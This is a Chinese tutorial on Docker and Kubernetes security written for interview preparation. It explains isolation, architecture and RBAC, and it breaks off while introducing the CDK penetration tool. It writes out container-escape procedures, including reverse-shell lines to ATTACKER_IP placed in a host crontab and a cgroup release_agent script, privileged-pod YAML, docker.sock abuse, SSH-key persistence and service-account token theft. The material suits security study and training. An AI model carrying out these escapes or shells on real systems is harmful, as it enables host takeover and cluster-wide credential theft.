Docker & Kubernetes 容器安全

本文定位:从零讲清 Docker 和 K8s 架构,逐层深入容器逃逸、API Server 利用、RBAC 滥用、Node→Cluster 攻击链
建议配合:本地搭建 minikube/kind 或公有云托管的 K8s 测试集群动手复现


Docker 容器基础架构

1.1 容器 vs 虚拟机

面试第一问:容器和虚拟机的区别?不只是”容器轻量”四个字,要讲出底层原理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──────────────────────────────┐  ┌──────────────────────────────┐
│ 虚拟机 (VM) │ │ 容器 (Container) │
│ │ │ │
│ ┌─────────┐ ┌─────────┐ │ │ ┌─────────┐ ┌─────────┐ │
│ │ App A │ │ App B │ │ │ │ App A │ │ App B │ │
│ ├─────────┤ ├─────────┤ │ │ ├─────────┤ ├─────────┤ │
│ │ Guest │ │ Guest │ │ │ │ 共用宿主机内核 (Kernel) │ │
│ │ OS │ │ OS │ │ │ │ Namespace 隔离进程空间 │ │
│ ├─────────┤ ├─────────┤ │ │ │ Cgroups 限制资源使用 │ │
│ │ │ │ │ │ │ ├─────────┬──────────────┤ │
│ │ Hypervisor (虚拟化层) │ │ │ Docker │ containerd │ │
│ ├──────────────────────────┤ │ │ Engine │ (CRI) │ │
│ │ Host OS (宿主机) │ │ ├─────────┴──────────────┤ │
│ ├──────────────────────────┤ │ │ Host OS (宿主机) │ │
│ │ Hardware (硬件) │ │ ├──────────────────────────┤ │
│ └──────────────────────────┘ │ │ Hardware (硬件) │ │
│ │ └──────────────────────────────┘
│ 每个 VM 有独立内核 │ 所有容器共享同一个内核
│ 启动时间:分钟级 │ 启动时间:秒级
│ 隔离性:强(Hypervisor) │ 隔离性:弱(Namespace + Cgroups)
│ 资源开销:大(GB 级内存) │ 资源开销:小(MB 级内存)
└──────────────────────────────┘

核心结论

  • 虚拟机在硬件层虚拟化,每个 VM 有自己的 Guest OS 内核
  • 容器是被 Namespace 隔离 + Cgroups 限制的普通 Linux 进程,共用宿主机内核
  • 这就是容器逃逸的根源——你以为是在容器里,其实你和宿主机跑在同一个内核上

1.2 容器的四个核心隔离技术

Namespace(命名空间隔离)—— 让你”看不见”

Namespace 类型隔离内容攻防含义
PID Namespace进程 ID 隔离容器内 ps aux 只看自己的进程;但 hostPID: true 就能看到宿主机所有进程
Mount Namespace文件系统挂载点隔离容器看不到宿主机的 /;挂载宿主机的 Docker Socket 或 procfs 则打破隔离
Network Namespace网络栈隔离(网卡、IP、路由、端口)默认独立网络;hostNetwork: true 则共享宿主机网络,直接绑宿主端口
IPC Namespace进程间通信隔离(信号量、共享内存)hostIPC: true 则可以访问宿主机的 IPC 资源
UTS Namespace主机名和域名隔离默认独立 hostname;hostUTS: true 则共享
User Namespace用户和组 ID 隔离容器内 root 在宿主机是普通用户(如果启用了 user namespace remap)
Cgroup NamespaceCgroup 视图隔离限制容器内看到的资源统计信息

Cgroups(控制组)—— 让你”不能超用”

1
2
3
4
5
Cgroups 的四大功能:
├── CPU 限制:cpu.shares、cpu.cfs_quota_us
├── 内存限制:memory.limit_in_bytes
├── 块设备 IO 限制:blkio.throttle.read_bps_device
└── 进程数限制:pids.max

Capabilities —— “你只是部分 root”

Linux 把 root 的超级权限拆成了 40+ 个精细的 Capability,容器默认只获得其中一部分(约 14 个):

1
2
3
4
5
6
7
8
9
10
默认容器拥有的 Capabilities(部分):
CAP_CHOWN、CAP_DAC_OVERRIDE、CAP_FSETID、CAP_FOWNER
CAP_SETGID、CAP_SETUID、CAP_NET_BIND_SERVICE、CAP_KILL...

默认容器没有的高危 Capabilities:
CAP_SYS_ADMIN → 可 mount、操作内核模块(--privileged 会给你这个)
CAP_SYS_PTRACE → 可 ptrace 其他进程
CAP_NET_RAW → 可发送原始网络包
CAP_SYS_MODULE → 可加载/卸载内核模块
CAP_NET_ADMIN → 可配置网络

Seccomp(安全计算模式)—— 限制系统调用

默认白名单约 300 个系统调用,高危系统调用(如 rebootkexec_load)被禁止。

1.3 Docker 核心概念与架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──────────────────────────────────────────────────────────┐
│ Docker 架构 │
│ │
│ ┌─────────────┐ ┌──────────────────────────────┐ │
│ │ Docker CLI │ ───→ │ Docker Daemon │ │
│ │ (客户端) │ │ (dockerd) │ │
│ └─────────────┘ │ ┌────────────────────────┐ │ │
│ │ │ containerd │ │ │
│ │ │ (容器运行时管理) │ │ │
│ │ │ ┌──────────────────┐ │ │ │
│ │ │ │ runc (OCI) │ │ │ │
│ │ │ │ 实际创建容器 │ │ │ │
│ │ │ └──────────────────┘ │ │ │
│ │ └────────────────────────┘ │ │
│ ┌─────────────┐ └──────────────────────────────┘ │
│ │ Docker API │ ←── Unix Socket: /var/run/docker.sock │
│ │ (RESTful) │ TCP 端口: 2375(HTTP) 2376(HTTPS) │
│ └─────────────┘ │
└──────────────────────────────────────────────────────────┘
概念解释攻防关键
Docker CLI命令行工具,docker run/build/pull客户端,不影响安全
Docker Daemon后台进程 dockerd,管理一切整个 Docker 的核心,拿到它就等于拿到宿主机 root
containerd容器运行时管理,拉镜像、管理存储和网络承上启下
runcOCI 标准实现,实际创建和运行容器CVE-2019-5736 攻击的就是这个
docker.sockDaemon 的 Unix 域套接字挂载到容器内 = 容器逃逸
2375/2376Docker Remote API TCP 端口未授权访问 = Remote Code Execution as Root

容器逃逸技术全解析

核心认知:容器逃逸不是”从容器逃出去”,而是从受限的 Namespace 进程变成不受限的宿主机进程。所有逃逸手段本质上都是在找 Namespace 隔离的缝隙。

2.1 逃逸前判断 —— 先搞清楚我是在容器里吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 方法1:检查 /.dockerenv 文件是否存在
ls -la /.dockerenv

# 方法2:检查 cgroup 信息
cat /proc/1/cgroup | grep docker
# 如果输出含 docker 或 kubepods → 在容器里

# 方法3:检查进程数(容器内进程数通常很少)
ps aux | wc -l
# 容器内通常 < 10,宿主机通常 > 100

# 方法4:检查常见虚拟化/容器化文件
ls -la /proc/1/ns/ # 查看 namespace
fdisk -l # 容器内通常看不到硬盘分区

# 方法5:检查 Capabilities
cat /proc/self/status | grep CapEff
# 00000000a80425fb = 默认 Docker 容器能力
# 0000003fffffffff = 特权容器 (--privileged)

2.2 逃逸方法 ①:特权模式(–privileged)—— 最经典

原理

--privileged 赋予容器几乎全部的 Linux Capabilities(含 CAP_SYS_ADMIN),可以访问宿主机所有设备,执行 mount 挂载,操作内核模块。

K8s 中对应的 YAML 配置:

1
2
securityContext:
privileged: true

判断方法

1
2
3
4
5
6
7
8
# 检查 CapEff 值,全 f 为特权模式
cat /proc/self/status | grep CapEff
# 特权模式: 0000003fffffffff
# 普通模式: 00000000a80425fb

# 检查是否有 /dev 设备访问
ls /dev/
# 特权容器能见到所有的磁盘设备(sda, sdb...)

逃逸步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 查看宿主机磁盘设备
fdisk -l
lsblk

# 2. 挂载宿主机根分区
mkdir /mnt/host
mount /dev/sda1 /mnt/host # /dev/sda1 通常是宿主机根分区

# 3. chroot 进入宿主机文件系统
chroot /mnt/host /bin/bash

# 4. 持久化 — 写入 crontab 定时任务反弹 shell
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab

# 或写入 SSH 公钥
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys

K8s 中的特权容器逃逸(创建恶意 Pod)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
hostPID: true # 共享宿主机进程空间
hostNetwork: true # 共享宿主机网络
hostIPC: true # 共享宿主机 IPC
containers:
- name: escape
image: alpine
securityContext:
privileged: true
command: ["/bin/sh", "-c", "sleep 3600"]
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /

进入 Pod 后逃逸:

1
2
3
4
5
# 因为挂载了宿主机 / 目录到 /host
chroot /host /bin/bash

# 或者使用 nsenter 逃逸(如果 hostPID: true)
nsenter -t 1 -m -u -i -n -p -- /bin/bash

2.3 逃逸方法 ②:Docker Socket 挂载

原理

Docker 采用 C/S 架构,/var/run/docker.sock 是 Docker Daemon 的 API 入口。挂载到容器内 → 容器可以直接操作宿主机 Docker → 创建新特权容器 → 挂载宿主机根目录 → 逃逸。

判断方法

1
2
3
4
5
6
# 检查 docker.sock 是否可访问
ls -la /var/run/docker.sock
find / -name docker.sock 2>/dev/null

# 如果有则测试通信
docker -H unix:///var/run/docker.sock ps

逃逸步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. 在容器内安装 docker CLI
apt update && apt install -y docker.io

# 2. 通过 docker.sock 与宿主机 Daemon 交互
docker -H unix:///var/run/docker.sock info

# 3. 创建特权容器,挂载宿主机根目录
docker -H unix:///var/run/docker.sock run -itd --name escape \
--privileged \
-v /:/host \
ubuntu:18.04 /bin/bash

# 4. 进入新容器 → chroot 到宿主机
docker -H unix:///var/run/docker.sock exec -it escape /bin/bash
chroot /host /bin/bash

K8s 中对应的场景

1
2
3
4
5
# 如果 Pod 挂载了宿主机的 docker.sock
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock

2.4 逃逸方法 ③:HostPath 挂载宿主机根目录

原理

最简单粗暴——直接把宿主机的 / 目录挂载到容器里。不是”逃逸”,是根本没隔离。

K8s YAML

1
2
3
4
5
6
7
volumes:
- name: host-root
hostPath:
path: /
volumeMounts:
- name: host-root
mountPath: /host

逃逸

1
2
3
4
5
6
# 如果你有 kubectl exec 权限 → 直接进去
chroot /host /bin/bash

# 写入 SSH 公钥
mkdir -p /host/root/.ssh
echo "YOUR_PUBLIC_KEY" >> /host/root/.ssh/authorized_keys

2.5 逃逸方法 ④:挂载宿主机 procfs —— CVE-2022-0492 类攻击

原理

如果容器挂载了宿主机的 /proc 文件系统(且拥有写权限),可以利用以下方法逃逸:

路径 A — core_pattern 逃逸:修改 /proc/sys/kernel/core_pattern,当进程崩溃时执行恶意程序。

路径 B — cgroup release_agent 逃逸(CVE-2022-0492 原理):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 前提:可以写入 /sys/fs/cgroup/*/release_agent
# 且容器有 CAP_SYS_ADMIN

# 1. 创建新 cgroup
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# 2. 写入 release_agent
echo "#!/bin/sh" > /cmd
echo "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /cmd
chmod +x /cmd

# 3. 设置 release_agent 并触发
echo "/cmd" > /tmp/cgrp/x/release_agent # 宿主机的绝对路径!
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

2.6 逃逸方法 ⑤:内核漏洞逃逸

CVE影响原理
CVE-2019-5736runc v1.0-rc6 及之前容器内执行 /proc/self/exe 可覆盖宿主机 runc 二进制,下次任何容器启动时执行恶意代码
CVE-2016-5195Linux Kernel 2.6.22 - 4.8.3Dirty Cow 脏牛漏洞,内核 COW 竞争条件,可获得 root 写权限
CVE-2020-15257containerd v1.3.x利用抽象 Unix Socket 绕过权限访问宿主机 containerd
CVE-2024-21626runc v1.1.11 之前WORKDIR 指令中的文件描述符泄漏导致宿主机文件系统逃逸

2.7 逃逸方法 ⑥:配置错误导致的其他逃逸

hostPID + nsenter

1
2
3
# K8s YAML
spec:
hostPID: true # <-- 可以看到宿主机所有进程!
1
2
# 在容器内直接进入宿主机的 PID 1 命名空间
nsenter -t 1 -m -u -i -n -p -- /bin/bash

CAP_SYS_PTRACE

1
2
# 如果有 CAP_SYS_PTRACE,可以向宿主进程注入代码
# 找到宿主机进程 PID,注入 shellcode

CAP_SYS_MODULE

1
2
# 如果有 CAP_SYS_MODULE,可以直接向内核插入模块
# insmod /path/to/malicious.ko → 内核级代码执行

2.8 逃逸方法速查表

逃逸方式前提条件一句话原理危险等级
特权模式privileged: true拥有全部 Capabilities,直接 mount 宿主机磁盘🔴 严重
docker.sock 挂载挂载了 /var/run/docker.sock直接与宿主机 Docker Daemon 通信,创建特权容器🔴 严重
宿主机根目录挂载hostPath: / 挂载直接读写宿主机文件系统🔴 严重
hostPIDhostPID: truensenter -t 1 进入宿主机 namespace🔴 严重
core_pattern/proc/sys/kernel/core_pattern 可写进程崩溃时触发恶意程序🟠 高危
cgroup release_agent/sys/fs/cgroup/*/release_agent 可写cgroup 释放时执行恶意命令🟠 高危
内核漏洞未打补丁的旧内核利用内核漏洞提权到宿主机 root🟡 中危
CAP_SYS_ADMIN有此 Capability可 mount、修改内核参数🟠 高危
CAP_SYS_PTRACE有此 Capability可 ptrace 宿主机进程,注入代码🟡 中危

Kubernetes 架构详解

为什么要先讲架构? 因为不知道每个组件在哪、做什么、怎么通信,就不知道攻击面在哪。面试中讲 K8s 攻击链一定要能从架构绘起。

3.1 一图看懂 K8s 架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌───────────────────────────────────────────────────────────────────┐
│ Control Plane(控制平面 / Master 节点) │
│ │
│ ┌────────────────────┐ ┌────────────────┐ ┌─────────────────┐ │
│ │ API Server │ │ Scheduler │ │ Controller │ │
│ │ (kube-apiserver) │ │ (kube-scheduler)│ │ Manager │ │
│ │ │ │ │ │ (kube-controller │ │
│ │ 6443(HTTPS) │ │ 负责调度 Pod │ │ -manager) │ │
│ │ 8080(insecure) │ │ 到合适的 Node │ │ │ │
│ │ │ │ │ │ 自动化控制循环 │ │
│ │ ┌──────────────┐ │ │ 预选→优选→绑定 │ │ Deployment/RS │ │
│ │ │ 唯一与 etcd │ │ │ │ │ /Node/Job 等 │ │
│ │ │ 通信的组件 │ │ └────────────────┘ └─────────────────┘ │
│ │ └──────────────┘ │ │
│ └─────────┬───────────┘ │
│ │ │
│ ┌─────────▼───────────┐ │
│ │ etcd │ ← 集群的"真理之源" (Key-Value DB) │
│ │ 端口: 2379/2380 │ │
│ │ 存储所有集群状态 │ Raft 共识协议 | 3/5/7 节点高可用 │
│ └─────────────────────┘ │
└───────────────────────────────────────────────────────────────────┘

│ API Server 是唯一和 Worker 通信的通道

┌───────────┼───────────────────────────────────────────────────────────┐
│ Worker Nodes(工作节点 / Node) │
│ │
│ ┌───────────────────────┐ ┌───────────────────────┐ │
│ │ Node 1 │ │ Node 2 │ │
│ │ │ │ │ │
│ │ ┌──────────────────┐ │ │ ┌──────────────────┐ │ │
│ │ │ Kubelet │ │ │ │ Kubelet │ │ │
│ │ │ (节点代理人) │ │ │ │ (节点代理人) │ │ │
│ │ │ 端口: 10250 │ │ │ │ 端口: 10250 │ │ │
│ │ │ 10255(readonly) │ │ │ │ 10255(readonly) │ │ │
│ │ └──────────────────┘ │ │ └──────────────────┘ │ │
│ │ ┌──────────────────┐ │ │ ┌──────────────────┐ │ │
│ │ │ kube-proxy │ │ │ │ kube-proxy │ │ │
│ │ │ (网络代理) │ │ │ │ (网络代理) │ │ │
│ │ │ iptables/IPVS │ │ │ │ iptables/IPVS │ │ │
│ │ └──────────────────┘ │ │ └──────────────────┘ │ │
│ │ ┌──────────────────┐ │ │ ┌──────────────────┐ │ │
│ │ │ Container Runtime │ │ │ │ Container Runtime │ │ │
│ │ │ (containerd/CRI-O)│ │ │ │ (containerd/CRI-O)│ │ │
│ │ └──────────────────┘ │ │ └──────────────────┘ │ │
│ │ │ │ │ │
│ │ ┌────┐ ┌────┐ ┌────┐ │ │ ┌────┐ ┌────┐ ┌────┐ │ │
│ │ │Pod1│ │Pod2│ │Pod3│ │ │ │Pod4│ │Pod5│ │Pod6│ │ │
│ │ └────┘ └────┘ └────┘ │ │ └────┘ └────┘ └────┘ │ │
│ └───────────────────────┘ └───────────────────────┘ │
└───────────────────────────────────────────────────────────────────────┘

3.2 控制平面组件逐一讲解

API Server(kube-apiserver)—— 集群唯一入口

维度说明攻防关键
定位整个集群的 唯一前端,所有操作必须经过它攻破了 API Server = 控制了整个集群
端口6443(HTTPS)、8080(insecure,默认关闭)8080 没关闭 = 未授权 = 直接 cluster-admin
认证方式X.509 证书、Bearer Token(SA)、OIDC、WebhookSA Token 泄露是最常见的凭证获取途径
授权方式RBAC(Role Based Access Control)RBAC 配置错误是所有 K8s 安全问题的根源
与 etcd 的关系它是唯一和 etcd 交互的组件绕不过它,只能利用它

etcd —— 集群的”真理之源”

维度说明
本质分布式 KV 存储数据库(类 ZooKeeper)
存储内容集群的所有配置和状态——Pod、Secret、ConfigMap、SA Token、Node 信息
端口2379(客户端)、2380(节点间 Raft 通信)
一致性Raft 共识协议

攻防关键

  • 所有 Secret(含 SA Token)以 base64 编码存储在 etcd 中 → 拿到 etcd = 拿到所有凭证
  • etcd 2379 端口未授权访问 = 全集群数据泄露
  • etcd 数据在宿主机路径:/var/lib/etcd/

Scheduler(kube-scheduler)—— 调度大脑

1
2
3
4
5
6
7
8
9
10
11
12
工作流程:
Pod 创建请求 → API Server → etcd(状态: Pending)

Scheduler 监听 API Server(Watch 机制)

发现 nodeName 为空的 Pod → 开始调度

预选(Filtering)→ 过滤不符合条件的 Node

优选(Scoring)→ 为候选 Node 打分

绑定(Binding)→ 选最高分 Node,更新 Pod 的 nodeName

Controller Manager(kube-controller-manager)—— 自动化大脑

内部运行着多个独立控制器,每个都是一个控制循环

1
2
3
4
5
6
7
for {
desired := getDesiredState() // 从 API Server 查询期望状态
current := getCurrentState() // 获取当前实际状态
if desired != current {
reconcile() // 执行调和工作,驱动当前 → 期望
}
}
控制器功能攻击视角
Deployment Controller管理滚动更新篡改镜像标签为恶意镜像
ReplicaSet Controller保证 Pod 副本数创建大量副本耗尽资源
Node Controller监控 Node 健康,驱逐 Pod标记 Node 失联触发 Pod 重调度
DaemonSet Controller每个 Node 跑一个 PodDaemonSet 可以用来在每个 Node 上部署后门
Job Controller管理一次性任务创建恶意 Job 执行命令

3.3 工作节点组件逐一讲解

Kubelet —— 节点代理人

维度说明
定位每个 Node 上的”代理人”,负责管理本节点上的 Pod
端口10250(HTTPS API,认证+授权)、10255(只读 HTTP,无认证)
职责接收 API Server 分配的 Pod → 通过 CRI 调用容器运行时创建容器 → 健康检查 → 上报状态

攻防关键

  • 10250 端口未授权访问 → 可以直接在 Node 上执行命令,获取所有 Pod 日志
  • 10255 端口 → 只读模式但无需认证,可获取 Pod 列表和指标
  • Kubelet 凭证文件在宿主机:/etc/kubernetes/kubelet.conf

kube-proxy —— 网络代理

在每个 Node 上运行,维护网络规则(iptables/IPVS),实现 Service 的负载均衡。

3.4 一个 Pod 的完整生命周期(面试必讲)

1
2
3
4
5
6
7
8
9
10
11
12
13
1. kubectl apply -f pod.yaml → API Server 接收请求

2. 认证(你是谁?)→ 授权(你能做什么?)→ 准入控制(有特殊规则吗?)

3. 写入 etcd(状态: Pending, nodeName 为空)

4. Scheduler Watch 到新 Pod, 执行调度逻辑 → 绑定 Node → 更新 etcd

5. 目标 Node 的 Kubelet Watch 到新分配给自己的 Pod

6. Kubelet 调用 CRI(容器运行时接口)→ 拉镜像 → 创建容器 → 启动

7. Kubelet 上报状态为 Running → etcd

面试官问你”K8s 创建一个 Pod 的过程”,就是在考你对上面这条链路清不清楚。

3.5 K8s 核心资源对象速查

资源作用类比
Pod最小调度单元,1 个或多个容器的组合进程组
Deployment管理 Pod 副本、滚动更新发布版本
Service稳定的网络入口,负载均衡到 Pod负载均衡器
ConfigMap非敏感配置数据配置文件
Secret敏感数据(密码、Token、证书),base64 编码存储加密配置
Namespace逻辑隔离,资源分组项目/环境隔离
ServiceAccountPod 的身份,用于访问 API ServerPod 的身份证
Node工作节点(物理机或虚拟机)服务器
Ingress七层 HTTP 路由Nginx 反向代理
PersistentVolume持久化存储硬盘

K8s 认证与 RBAC 授权体系

这部分是 RBAC 滥用的前提知识。 面试中讲不清 RBAC 就讲不清提权链。

4.1 API 请求的”三道门”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
请求进入 API Server


┌─────────────────────────┐
│ ① 认证 (Authentication) │ → "你是谁?"
│ X.509 证书 │
│ Bearer Token (SA) │
│ OIDC / Webhook │
│ 失败 → system:anonymous │
└────────────┬────────────┘

┌─────────────────────────┐
│ ② 授权 (Authorization) │ → "你能做什么?"
│ RBAC │ ← 本节重点
│ Node Authorizer │
│ ABAC(已废弃) │
│ Webhook │
└────────────┬────────────┘

┌─────────────────────────┐
│ ③ 准入控制 (Admission) │ → "有没有额外规则?"
│ Mutating Webhook │ (修改请求)
│ Validating Webhook │ (验证/拒绝请求)
└─────────────────────────┘

持久化到 etcd

4.2 SA(ServiceAccount)—— Pod 的身份证

1
2
3
4
5
6
7
8
9
10
11
12
核心认知:
User(人类用户) → 用 kubeconfig 中的证书/OIDC Token 认证
SA(服务账户) → 给 Pod 内部进程用的身份,Token 挂载在 /var/run/secrets/...

SA 的特性:
├─ 属于特定 Namespace(不能跨命名空间)
├─ 每个 NS 默认有一个 default SA
├─ Pod 不指定 serviceAccountName 时自动使用 default SA
└─ Token 默认通过 projected volume 自动挂载到 Pod 的以下路径:
/var/run/secrets/kubernetes.io/serviceaccount/token → JWT Token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt → CA 证书
/var/run/secrets/kubernetes.io/serviceaccount/namespace → 命名空间

4.3 RBAC 四大组件

1
SA (身份) + Role/ClusterRole (权限定义) + RoleBinding/ClusterRoleBinding (绑定) = 授权
组件作用范围一句话
ServiceAccount命名空间级要干活(Pod 的身份)
Role命名空间级在当前命名空间能做什么
ClusterRole集群全局级在全集群能做什么(含集群级资源如 Node、PV)
RoleBinding命名空间级把 Role 或 ClusterRole 绑定到 SA,只在当前 NS 生效
ClusterRoleBinding集群全局级把 ClusterRole 绑定到 SA,全集群生效

4.4 四种绑定组合

组合作用范围面试考点
SA + Role + RoleBinding单个命名空间最常见的按项目隔离
SA + ClusterRole + ClusterRoleBinding全集群cluster-admin 就是这个模式
SA + ClusterRole + RoleBinding单个命名空间⚠️ 面试高频:引用了 ClusterRole,但 RoleBinding 限制了只在本 NS 生效
SA + Role + ClusterRoleBinding不允许ClusterRoleBinding 只能引用 ClusterRole

4.5 权限规则 rules 详解

1
2
3
4
5
6
7
8
9
10
11
rules:
- apiGroups: [""] # 核心 API 组: pods, services, secrets, configmaps
resources: ["pods"] # 资源类型
verbs: ["get", "list", "watch"] # 允许的操作

# 常见 API 组对照:
# "" (core/v1) → pods, services, secrets, configmaps, nodes
# "apps" → deployments, statefulsets, daemonsets
# "rbac.authorization.k8s.io" → roles, rolebindings, clusterroles, clusterrolebindings
# "batch" → jobs, cronjobs
# "networking.k8s.io" → ingresses, networkpolicies

4.6 内置 ClusterRole

内置角色权限
view只读(不包括 Secrets)
edit可修改资源(不能管理 RBAC)
admin命名空间管理员(可管理 RBAC,不能操作资源配额)
cluster-admin🔴 超级管理员,完全控制一切

4.7 RBAC 权限检查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 检查当前 SA 是否有某个权限
kubectl auth can-i create pods --all-namespaces

# 检查特定 SA 的权限(攻击中常用)
kubectl auth can-i get secrets \
--as=system:serviceaccount:default:my-sa \
-n kube-system

# 列出某个 SA 的所有权限
kubectl auth can-i --list \
--as=system:serviceaccount:default:my-sa

# 查看当前集群的 ClusterRoleBinding
kubectl get clusterrolebindings

# 查看哪些 SA 绑定了 cluster-admin
kubectl get clusterrolebinding cluster-admin -o yaml

4.8 常见危险 RBAC 配置

危险配置后果检测命令
default SA 绑定 cluster-admin任何 Pod 直接接管集群kubectl get clusterrolebindings -o yaml | grep -B5 "default"
SA 拥有 create pods + 可挂载 hostPath创建恶意 Pod 逃逸到 NodeBloodHound/k8scout 分析
SA 拥有 get/list secrets窃取全集群 SA Tokenkubectl auth can-i get secrets --all-namespaces
SA 拥有 pods/exec横向进入其他 Pod最常被滥用的权限之一
SA 拥有 impersonate伪装成任何用户/SAkubectl get secrets --as=null --as-group=system:masters
SA 拥有 create clusterrolebindings把自己绑定成 cluster-admin一步到位
SA 拥有通配符 * * *等于 cluster-admin最危险

K8s 攻击面枚举与信息收集

5.1 入口 — 怎么拿到第一个 Pod 的执行权限?

1
2
3
4
5
6
7
8
入口方式:
├─ Web 应用漏洞(SQL 注入、RCE、SSTI、文件上传)→ 拿到 Web Pod 的 shell
├─ 泄露的 kubeconfig(GitHub 公开仓库、Jenkins 配置、开发机)
├─ 未授权 Dashboard(kubectl proxy 暴露到公网)
├─ Docker Hub 镜像中的 SA Token(CI/CD 误打包)
├─ etcd 未授权(2379)→ 读 Secret → 拿 Token
├─ Kubelet 未授权(10250)→ 执行命令
└─ 供应链攻击(恶意镜像投毒)

5.2 进入 Pod 后 —— 第一步信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# ===== 1. 确认你在 Pod 容器里 =====
cat /proc/1/cgroup | grep kubepods
ls -la /.dockerenv
env | grep KUBERNETES

# ===== 2. 读取当前 SA 的 Token(最重要!)=====
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# ===== 3. 检查环境变量(可能含敏感信息)=====
env

# ===== 4. 查看挂载的卷(有没有 docker.sock/hostPath)=====
mount
df -h
cat /proc/mounts

# ===== 5. 查看 Capabilities =====
cat /proc/self/status | grep CapEff

# ===== 6. 检查网络 =====
ifconfig
cat /etc/hosts
cat /etc/resolv.conf
netstat -anp 2>/dev/null

# ===== 7. 尝试访问 API Server =====
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_443_TCP_PORT}"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

# 探测是否有 kubectl
kubectl version --short 2>/dev/null

# 用 curl 探测
curl -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/pods

# 或
curl -k --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/

5.3 权限枚举 —— 搞清楚我能干什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# ===== 方法 1:kubectl auth can-i(如果有 kubectl)=====
kubectl auth can-i --list
kubectl auth can-i '*' '*' --all-namespaces
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i create clusterrolebindings
kubectl auth can-i get nodes

# ===== 方法 2:curl API 枚举 =====
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"

# 检查是否能列出所有命名空间的 Pod
curl -k -s -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/pods?limit=5" | jq .

# 检查是否能读 kube-system 的 secrets
curl -k -s -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/kube-system/secrets" | jq '.items[].metadata.name'

# 尝试 SelfSubjectAccessReview API(等价于 kubectl auth can-i)
curl -k -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
-d '{
"apiVersion":"authorization.k8s.io/v1",
"kind":"SelfSubjectAccessReview",
"spec":{"resourceAttributes":{"namespace":"kube-system","verb":"list","resource":"secrets"}}
}' | jq .

# ===== 方法 3:自动化工具 =====
# k8scout — 扔进去自动分析攻击路径
# rakkess — 列出当前 SA 权限的完整矩阵
curl -LO https://github.com/corneliusweig/rakkess/releases/latest/download/rakkess-amd64-linux.tar.gz
tar xf rakkess-amd64-linux.tar.gz
./rakkess

5.4 外部攻击面(在 Pod 外/公网)

攻击面端口探测方式
API Server insecure8080curl http://MASTER_IP:8080/version
API Server secure6443curl -k https://MASTER_IP:6443/version
etcd2379curl http://MASTER_IP:2379/version
Kubelet10250curl -k https://NODE_IP:10250/pods
Kubelet readonly10255curl http://NODE_IP:10255/pods
Dashboard随机 NodePort扫描 30000-32767
Docker Remote API2375/2376curl http://NODE_IP:2375/version

补充:CDK 工具 —— 容器渗透的瑞士军刀

面试场景:面试官问”你拿到 Pod shell 后怎么快速摸清环境和提权?”如果你说”手工一条条查”说明你做过了;如果你说”上 CDK”说明你做过很多次。

补5.1 CDK 是什么

CDK(Container Duck,容器鸭)是 cdk-team 开发的开源零依赖容器渗透工具,Go 语言编写,一个二进制文件扔进容器就能用,不依赖 curl/wget/python。专为 容器逃逸 + K8s 接管 设计。

1
2
3
GitHub: https://github.com/cdk-team/CDK
定位: 容器内渗透的"自动化全能助手"
大小: 完整版 ~6MB,精简版(Thin) ~2MB

补5.2 三大模块总览

1
2
3
4
cdk
├── Evaluate(评估) → 信息收集,自动发现弱点
├── Exploit(利用) → 容器逃逸、横向移动、持久化
└── Tool(工具) → 容器里没有的命令(nc/curl/vi/netstat...)

补5.3 信息收集 — cdk evaluate

这是进入容器后第一件事,比手动翻文件快 10 倍:

1
2
3
4
5
6
# 基础评估(快速)
./cdk evaluate
./cdk eva # 缩写

# 完整评估(含文件扫描,较慢但更全面)
./cdk evaluate --full

自动收集的内容清单

检测项攻防意义
OS 基本信息内核版本 → 判断可利用的内核漏洞
CapabilitiesCapEff 值 → 特权容器?有 CAP_SYS_ADMIN 吗?
